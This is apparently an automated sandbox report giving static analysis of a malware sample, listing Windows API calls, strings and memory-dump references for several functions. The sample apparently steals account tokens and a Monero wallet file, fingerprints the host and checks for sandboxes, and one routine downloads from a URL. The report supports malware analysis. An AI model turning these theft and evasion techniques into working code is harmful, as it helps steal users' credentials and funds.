Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

lstrlen.KERNEL32(00000000), ref: 00D9BC9F

Part of subcall function 00DA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DA8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00D9BCCD
lstrlen.KERNEL32(00000000), ref: 00D9BDA5
lstrlen.KERNEL32(00000000), ref: 00D9BDB9

Strings

AccountId, xrefs: 00D9BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00D9BBEB
AccountTokens, xrefs: 00D9BB49
AccountTokens, xrefs: 00D9BABA

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 2dd4613055a39ce0c4cac184d59c05acc4179f762b03c051e8aae1cc0345d53c
Instruction ID: 1a0c7ce1e5b7659489cc350096fd131e1fe49abd5c497f74b6040b1306342550
Opcode Fuzzy Hash: 2dd4613055a39ce0c4cac184d59c05acc4179f762b03c051e8aae1cc0345d53c
Instruction Fuzzy Hash: D4B14A729101189BDB44FBB8DD96EEE7379EF15300F804269F507A2191EF346A49CBB2

Function 00D94FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D94FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00D94FD1
InternetOpenA.WININET(00DB0DDF,00000000,00000000,00000000,00000000), ref: 00D94FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00D95011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00D95041
InternetCloseHandle.WININET(?), ref: 00D950B9
InternetCloseHandle.WININET(?), ref: 00D950C6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 292fd7b0406c0637a74d67d0562104110a649089d9d6838b83d07f2e18b1104e
Instruction ID: c339af25a0895e38e8a6b7efc15cf8d277ea42d359fdc015e8116e103945eeda
Opcode Fuzzy Hash: 292fd7b0406c0637a74d67d0562104110a649089d9d6838b83d07f2e18b1104e
Instruction Fuzzy Hash: 6431EBB4A4121CABDB20CF64DC85BDDB7B5EB48704F1081D9E609A7281C7706A859FA9

Function 00DA83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00DA8426
wsprintfA.USER32 ref: 00DA8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00DA847B
RegCloseKey.ADVAPI32(00000000), ref: 00DA848C
RegCloseKey.ADVAPI32(00000000), ref: 00DA8499

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

RegQueryValueExA.KERNEL32(00000000,0194E860,00000000,000F003F,?,00000400), ref: 00DA84EC
lstrlen.KERNEL32(?), ref: 00DA8501
RegQueryValueExA.KERNEL32(00000000,0194E8D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00DB0B34), ref: 00DA8599
RegCloseKey.KERNEL32(00000000), ref: 00DA8608
RegCloseKey.ADVAPI32(00000000), ref: 00DA861A

Strings

%s\%s, xrefs: 00DA844D

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 5ba0af5a2a742c3d21c1316d1a72b2125932d33bec597753face1023f205412c
Instruction ID: ea5a8612121761f69ff14fc7e6b300391b8e1eb1a2a796852955093d3d25bc90
Opcode Fuzzy Hash: 5ba0af5a2a742c3d21c1316d1a72b2125932d33bec597753face1023f205412c
Instruction Fuzzy Hash: DD210A7190021C9BDB24DB64DC85FE9B7B9FB48700F04C599E60996140DF71AA85DFE4

Function 00DA7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00DA76AB
RegOpenKeyExA.KERNEL32(80000002,0193C938,00000000,00020119,00000000), ref: 00DA76DD
RegQueryValueExA.KERNEL32(00000000,0194E8F0,00000000,00000000,?,000000FF), ref: 00DA76FE
RegCloseKey.ADVAPI32(00000000), ref: 00DA7708

Strings

Windows 11, xrefs: 00DA76BD

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 667c66a1c951c13770d3952eec5b02b591bf2385dd73e12c66347ba0f2e8d46c
Instruction ID: b19087bc37beafb27754ef93c515b9e4de5950ab9f111703d92047443055a2af
Opcode Fuzzy Hash: 667c66a1c951c13770d3952eec5b02b591bf2385dd73e12c66347ba0f2e8d46c
Instruction Fuzzy Hash: 37016DB5A45308BFEB00EBF4DC49FAEB7B9EB48701F104456FE05D7290E6709900AB65

Function 00DA7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7734
RtlAllocateHeap.NTDLL(00000000), ref: 00DA773B
RegOpenKeyExA.KERNEL32(80000002,0193C938,00000000,00020119,00DA76B9), ref: 00DA775B
RegQueryValueExA.KERNEL32(00DA76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00DA777A
RegCloseKey.ADVAPI32(00DA76B9), ref: 00DA7784

Strings

CurrentBuildNumber, xrefs: 00DA7771

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: eeb863590312c44f0bd42d5979ad5654d8dbd2f9257e697ca50da08cb7a6d00d
Instruction ID: f1cc41b0e43151287176f56d5b864652edc0607545394bfb48eed24bb216b5f8
Opcode Fuzzy Hash: eeb863590312c44f0bd42d5979ad5654d8dbd2f9257e697ca50da08cb7a6d00d
Instruction Fuzzy Hash: 1B014FB5A40308BBDB00DBE0DC4AFAEB7B9EB48701F004559FA05A7281DA705A00AB65

Function 00DA69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01942A08), ref: 00DA98A1
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,019428E8), ref: 00DA98BA
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,019429A8), ref: 00DA98D2
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01942A80), ref: 00DA98EA
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,019428A0), ref: 00DA9903
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01949610), ref: 00DA991B
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01937728), ref: 00DA9933
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01937628), ref: 00DA994C
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01942900), ref: 00DA9964
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01942A98), ref: 00DA997C
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,019429C0), ref: 00DA9995
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,019428B8), ref: 00DA99AD
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01937688), ref: 00DA99C5
Part of subcall function 00DA9860: GetProcAddress.KERNEL32(756D0000,01942918), ref: 00DA99DE

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00D911D0: ExitProcess.KERNEL32 ref: 00D91211

Part of subcall function 00D91160: GetSystemInfo.KERNEL32(?), ref: 00D9116A
Part of subcall function 00D91160: ExitProcess.KERNEL32 ref: 00D9117E

Part of subcall function 00D91110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D9112B
Part of subcall function 00D91110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00D91132
Part of subcall function 00D91110: ExitProcess.KERNEL32 ref: 00D91143

Part of subcall function 00D91220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D9123E
Part of subcall function 00D91220: __aulldiv.LIBCMT ref: 00D91258
Part of subcall function 00D91220: __aulldiv.LIBCMT ref: 00D91266
Part of subcall function 00D91220: ExitProcess.KERNEL32 ref: 00D91294

Part of subcall function 00DA6770: GetUserDefaultLangID.KERNEL32 ref: 00DA6774

Part of subcall function 00D91190: ExitProcess.KERNEL32 ref: 00D911C6

Part of subcall function 00DA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D911B7), ref: 00DA7880
Part of subcall function 00DA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7887
Part of subcall function 00DA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DA789F

Part of subcall function 00DA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7910
Part of subcall function 00DA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7917
Part of subcall function 00DA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00DA792F

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01949530,?,00DB110C,?,00000000,?,00DB1110,?,00000000,00DB0AEF), ref: 00DA6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DA6AE8
CloseHandle.KERNEL32(00000000), ref: 00DA6AF9
Sleep.KERNEL32(00001770), ref: 00DA6B04
CloseHandle.KERNEL32(?,00000000,?,01949530,?,00DB110C,?,00000000,?,00DB1110,?,00000000,00DB0AEF), ref: 00DA6B1A
ExitProcess.KERNEL32 ref: 00DA6B22

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 2794237fe3c4c3cf188ff1c030e38bf6aba8c7d4cb66ccdbfa4793e6f60c51c8
Instruction ID: a0972887880771d16d1557cb7237a29bba9f104b2dcf236924b0165e2e48962c
Opcode Fuzzy Hash: 2794237fe3c4c3cf188ff1c030e38bf6aba8c7d4cb66ccdbfa4793e6f60c51c8
Instruction Fuzzy Hash: 04317A31900209ABDB04FBF4DC56BEE7778EF06340F444619F202A2192EF74AA05CAB6

Function 00D999C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D999EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D99A11
LocalAlloc.KERNEL32(00000040,?), ref: 00D99A31
ReadFile.KERNEL32(000000FF,?,00000000,00D9148F,00000000), ref: 00D99A5A
LocalFree.KERNEL32(00D9148F), ref: 00D99A90
CloseHandle.KERNEL32(000000FF), ref: 00D99A9A

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
